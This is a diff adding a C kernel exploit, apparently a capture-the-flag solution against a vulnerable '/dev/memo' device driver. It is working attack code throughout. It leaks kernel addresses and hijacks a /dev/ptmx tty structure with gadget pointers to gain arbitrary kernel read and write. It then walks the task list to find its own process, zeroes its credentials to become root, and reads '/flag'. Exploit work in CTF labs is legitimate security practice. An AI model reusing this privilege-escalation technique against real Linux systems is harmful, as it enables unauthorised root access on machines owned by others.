|
| 1 | +#include <stdio.h> |
| 2 | +#include <fcntl.h> |
| 3 | +#include <unistd.h> |
| 4 | +#include <sys/ioctl.h> |
| 5 | + |
| 6 | +unsigned long buf[0x1000]; |
| 7 | +int fd, fd2, fd3; |
| 8 | +unsigned long kbuf, base, gadget; |
| 9 | + |
| 10 | +unsigned arb_read(char *ptr) { |
| 11 | + // 0xffffffff814369a3 : mov eax, dword ptr [rdx] ; ret |
| 12 | + unsigned long gadget = base + 0x4369a3; |
| 13 | + for (int i = 0; i < 0x100; ++i) { |
| 14 | + lseek(fd, i*8, SEEK_SET); |
| 15 | + write(fd, &gadget, 8); |
| 16 | + } |
| 17 | + return ioctl(fd2, 123, ptr); |
| 18 | +} |
| 19 | + |
| 20 | +unsigned long arb_read64(char *ptr) { |
| 21 | + return arb_read(ptr) + ((unsigned long)arb_read(ptr+4) << 32); |
| 22 | +} |
| 23 | + |
| 24 | +void arb_write(char *ptr, int val) { |
| 25 | + // 0xffffffff810a0333 : mov dword ptr [rdx], esi ; ret |
| 26 | + unsigned long gadget = base + 0xa0333; |
| 27 | + for (int i = 0; i < 0x100; ++i) { |
| 28 | + lseek(fd, i*8, SEEK_SET); |
| 29 | + write(fd, &gadget, 8); |
| 30 | + } |
| 31 | + ioctl(fd2, val, ptr); |
| 32 | +} |
| 33 | + |
| 34 | +int main() { |
| 35 | + fd = open("/dev/memo", O_RDWR); |
| 36 | + lseek(fd, 0x3f0, SEEK_SET); |
| 37 | + read(fd, buf, 0x100); |
| 38 | + kbuf = buf[2] - 2*0x400; |
| 39 | + |
| 40 | + fd2 = open("/dev/ptmx", O_RDWR | O_NOCTTY); |
| 41 | + lseek(fd, 0x3f0, SEEK_SET); |
| 42 | + read(fd, (char *)buf, 0x100); |
| 43 | + base = buf[5] - 0xe65900; |
| 44 | + |
| 45 | + printf("0x%lx 0x%lx\n", kbuf, base); |
| 46 | + |
| 47 | + buf[5] = kbuf; |
| 48 | + lseek(fd, 0x3f0, SEEK_SET); |
| 49 | + write(fd, (char *)buf, 0x100); |
| 50 | + |
| 51 | + unsigned long curr = base + 0x1211740; // init_task |
| 52 | + int tasks_offset = 0x388; |
| 53 | + int pid_offset = 0x488; |
| 54 | + int comm_offset = 0x628; |
| 55 | + int cred_offset = 0x618; |
| 56 | + int pid = getpid(); |
| 57 | + char comm[0x10]; |
| 58 | + |
| 59 | + while(1) { |
| 60 | + *(unsigned long *)comm = arb_read64(curr + comm_offset); |
| 61 | + *((unsigned long *)comm + 1) = arb_read64(curr + comm_offset + 8); |
| 62 | + printf("TASK: %s @ %lx\n", comm, curr); |
| 63 | + |
| 64 | + int task_pid = arb_read(curr + pid_offset); |
| 65 | + if (pid == task_pid) break; |
| 66 | + |
| 67 | + curr = arb_read64(curr + tasks_offset) - tasks_offset; |
| 68 | + } |
| 69 | + |
| 70 | + unsigned long cred = arb_read64(curr + cred_offset); |
| 71 | + for (int i = 0; i < 8; ++i) { |
| 72 | + arb_write(cred + 4 + i*4, 0); |
| 73 | + } |
| 74 | + |
| 75 | + int uid, euid, suid; |
| 76 | + getresuid(&uid, &euid, &suid); |
| 77 | + printf("uid: %d, euid: %d, suid: %d\n", uid, euid, suid); |
| 78 | + |
| 79 | + char flag[0x100]; |
| 80 | + fd3 = open("/flag", O_RDONLY); |
| 81 | + read(fd3, flag, 0x100); |
| 82 | + printf("flag: %s\n", flag); |
| 83 | + while(1); // since we overwrite all func handler(including ttyrelease), hang program here |
| 84 | +} |
0 commit comments